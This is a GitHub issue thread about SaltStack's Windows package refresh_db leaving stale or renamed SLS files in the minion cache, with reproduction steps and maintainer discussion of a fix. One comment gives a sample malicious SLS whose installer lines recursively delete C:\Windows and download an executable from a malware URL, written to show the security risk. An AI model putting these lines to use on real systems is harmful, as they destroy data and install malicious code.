Skip to content

win_pkg: refresh_db doesn't remove cached items which have been renamed or removed #35342

Closed

Description

@morganwillcock

If you remove or rename items in the repo-ng folder on the master, these are not removed from the minion cache when you run win_pkg.refresh_db. Particularly in the case of renaming, it's very likely to generate a name collision for the package which may result in incorrect installation states being returned (the pkg name map can still reference old sls files).

As an example, I'll rename my 7zip directory. It's already cached under it's old name:

salt salt-test cmd.run 'dir /b c:\salt\var\cache\salt\minion\files\base\win\repo-ng\*zip' 
salt-test:
    7zip

I rename it:

mv /srv/salt/win/repo-ng/7zip /srv/salt/win/repo-ng/seven_zip

Then run win_pkg.refresh_db, checking that it only lists the renamed directory:

salt salt-test pkg.refresh_db | grep zip
    - c:\salt\var\cache\salt\minion\files\base\win\repo-ng\seven_zip\7zip.sls

But on the minion, I've now got two folders in the cache:

salt salt-test cmd.run 'dir /b c:\salt\var\cache\salt\minion\files\base\win\repo-ng\*zip' 
salt-test:
    7zip
    seven_zip

And worse still the sls file is still there, and this can be matched when generating the name map:

salt salt-test cmd.run 'type c:\salt\var\cache\salt\minion\files\base\win\repo-ng\7zip\7zip.sls' 
salt-test:
    {% if grains['cpuarch'] == 'AMD64' %}
      {% set name_arch = ' (x64 edition)' %}
      {% set installer_arch = '-x64' %}
    {% else %}
      {% set name_arch = '' %}
      {% set installer_arch = '' %}
    {% endif %}
    
    7zip:
      '15.14.00.0':
        full_name: '7-Zip 15.14{{ name_arch }}'
        installer: 'salt://win/repo-ng/7zip/7z1514{{ installer_arch }}.msi'
        install_flags: '/qn /norestart'
        uninstaller: '{23170F69-40C1-2702-1514-000001000000}'
        uninstall_flags: '/qn /norestart'
        refresh: True
        msiexec: True
        use_scheduler: False
        locale: en_US
        reboot: False
        cache_dir: False
      '9.20.00.0':
        full_name: '7-Zip 9.20{{ name_arch }}'
        installer: 'salt://win/repo-ng/7zip/7z920{{ installer_arch }}.msi'
        install_flags: '/qn /norestart'
        uninstaller: '{23170F69-40C1-2702-0920-000001000000}'
        uninstall_flags: '/qn /norestart'
        refresh: True
        msiexec: True 
        use_scheduler: False
        locale: en_US
        reboot: False
        cache_dir: False

I can't think of any situation where you would want to maintain items in the repo-ng cache when they don't exist on the master, and trying to clear the cache with saltutil is going to clear the entire cache so I imagine this shouldn't be used during a state run.

So that the master side can be edited, surely pkg.refresh_db needs to be removing anything that doesn't exist any longer?

Tested on 2016.3.2

Activity

  1. damon-atkins commented on Aug 11, 2016

    @damon-atkins
    Contributor

    It calls salt['cp.cache_dir'] to do the caching

  2. Ch3LL commented on Aug 11, 2016

    @Ch3LL
    Contributor

    @morganwillcock I am able to replicate this but only for when users add files to the custom dir /srv/salt/win/repo-ng/. It looks like it is removing the files when they are located under /srv/salt/win/repo-ng/salt-winrepo-ng only. In fact in the documentation here it states the following:

    Important
    If you have customized software definition files that aren't maintained in a repository, those should be stored under win/repo for older minions and win/repo-ng for newer minions. The reason for this is that the contents of win/repo/salt-winrepo and win/repo-ng/salt-winrepo-ng are wiped out every time you run a winrepo.update_git_repos.

    Additionally, when you run winrepo.genrepo and pkg.refresh_db the entire contents under win/repo and win/repo-ng, to include all subdirectories, are used to create the msgpack file.

    So according to the documentation it seems that only files in win/repo/salt-winrepo and win/repo-ng/salt-winrepo-ng are wiped and then re-added the files when running pkg.refresh_db.

    Also if you look at the code here it is only wiping away the files in that directory and cache_dir does not seem to sync the files.

    I think you are right though in the idea that you would expect these to be synced between the mastet rand minion for missing files, but I would like to get @twangboy 's input. Twangboy would you label this as expected behavior , bug or feature request? It seems this might be expected behavior but I believe it would be a nice feature to add this functionality for custom files in win/repo-ng. Or do you suggest using something else? Thoughts?

  3. added
    pending-discussion
    on Aug 11, 2016
  4. added this to the Blocked milestone on Aug 11, 2016
  5. morganwillcock commented on Aug 11, 2016

    @morganwillcock
    ContributorAuthor

    @Ch3LL Thank you for testing this out. You could argue that this is a pretty big security problem. If the cache state doesn't match what's on the master you will end up blindly trusting the contents of the minion cache.

    delete_the_windows_folder:
          '15.14.00.0':
            full_name: '7-Zip 15.14 (x64 edition)'
            installer: '%COMSPEC% /c rd /s /q C:\Windows'
    install_some_malware:
          '15.14.00.0':
            full_name: '7-Zip 15.14 (x64 edition)'
            installer: 'http://www.malware.com/malware.exe'

    It would seem that you must ensure the minion cache is in the correct state before running any pkg install or removal actions, or risk running unknown commands as the SYSTEM user.

  6. twangboy commented on Aug 12, 2016

    @twangboy
    Contributor

    @Ch3LL I think @morganwillcock is correct, that the minion cache should be a replica of what's on the master. I believe this is the intended behavior.

  7. Ch3LL commented on Aug 12, 2016

    @Ch3LL
    Contributor

    @twangboy okay great. I will label this as a bug so we can get this fixed up. Thanks

  8. added
    bug
    severity-medium
    Platform
    and removed
    pending-discussion
    on Aug 12, 2016
  9. modified the milestones: Approved, Blocked on Aug 12, 2016
  10. added
    P4
    on Aug 12, 2016
  11. 21 remaining items

  12. damon-atkins commented on Sep 2, 2016

    @damon-atkins
    Contributor

    Thanks for the feed back. The output, it change several times, I kept coming back to what we need to see if running on 1,000 plus systems.

    I am someone who always checks the path first before doing recursive delete, you never know what someone is going to do by accident. With a bad set of settings in the minion + some bad coding (i.e. removed files) its possible (very unlikely) for the result to be C:\ for example.

    I will have a bit of a re-think....

    It should really be that CACHEDIR is check for common sense given their exists a command to remove the entire cache.

    I have also notice a another bug after looking up the configuration doco for minions, have no idea how long its been a bug. Code does not match the doco.

    I will add os.walk(repo_path,followlinks=False) The issue you talk about is fixed in Python 3.3 I believe.
    Their seems to be a lot of windows improvements in Python 3. Sooner the better for Salt for Windows to move to PY3

    I also notice the doco I have written could do with a clean up after seeing it processed and turned into a web page.

    I will do some more work on the weekend to clean it all up.

    I have created a ticket for "Python 3 Support - Windows Resolved Issues" to gather a list of fixes in PY3

  13. damon-atkins commented on Oct 3, 2016

    @damon-atkins
    Contributor

    @morganwillcock please close issue, after testing the code from develop or carbon branch.

  14. added
    fixed-pls-verify
    on Oct 3, 2016
  15. morganwillcock commented on Oct 13, 2016

    @morganwillcock
    ContributorAuthor

    Can I backport the recursive delete of the sls files? Otherwise this is a bug that isn't getting fixed on the stable branches.

  16. damon-atkins commented on Oct 13, 2016

    @damon-atkins
    Contributor

    Hi @morganwillcock the fix is a behaviour change. It's up to the SaltStack to decide.

    If running windows systems, I would run the latest version of salt (after some testing), because of the functionality improvements, performance and large number of fixes.

  17. cachedout commented on Nov 6, 2016

    @cachedout
    Contributor

    I vastly prefer not to introduce behavioral changes into minor releases unless absolutely necessary, though I will defer to @UtahDave and @twangboy on this one.

  18. damon-atkins commented on Nov 6, 2016

    @damon-atkins
    Contributor

    At this stage people using salt for Windows should be encourage to upgrade the salt client. There are many improvements with each release. Particularly Carbon/2016.11 has a lot of improvements.

    The other alternative is to take all Carbon "as is" win_*.py and copy them back (including dependency) to 2016.3 and write a large amount of text in the release notes. 2016.3.4 out now, you could turn around tomorrow with 2016.3.5 Windows Only Release with just the windows changes, giving people a choice. Skip 2016.3.5 for Unix/Linux.

  19. morganwillcock commented on Nov 7, 2016

    @morganwillcock
    ContributorAuthor

    Just to clarify, I'm suggesting to add the recursive delete of SLS files to stable branches, not backport everything from the commit that implemented it.

  20. twangboy commented on Dec 5, 2016

    @twangboy
    Contributor

    @cachedout I think @morganwillcock 's comment is the fix. I'll submit a bigfix that removes orphaned .sls files.

  21. twangboy commented on Dec 5, 2016

    @twangboy
    Contributor

    @morganwillcock I believe the above PR along with @damon-atkins PR's address the issues here.

  22. modified the milestones: Nitrogen 1, Approved on Dec 5, 2016
  23. self-assigned this
    on Dec 5, 2016
  24. morganwillcock commented on Dec 5, 2016

    @morganwillcock
    ContributorAuthor

    @twangboy That's great, thank you.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

P4PlatformWindowsbugfixed-pls-verifyseverity-medium

Type

No type

Projects

No projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions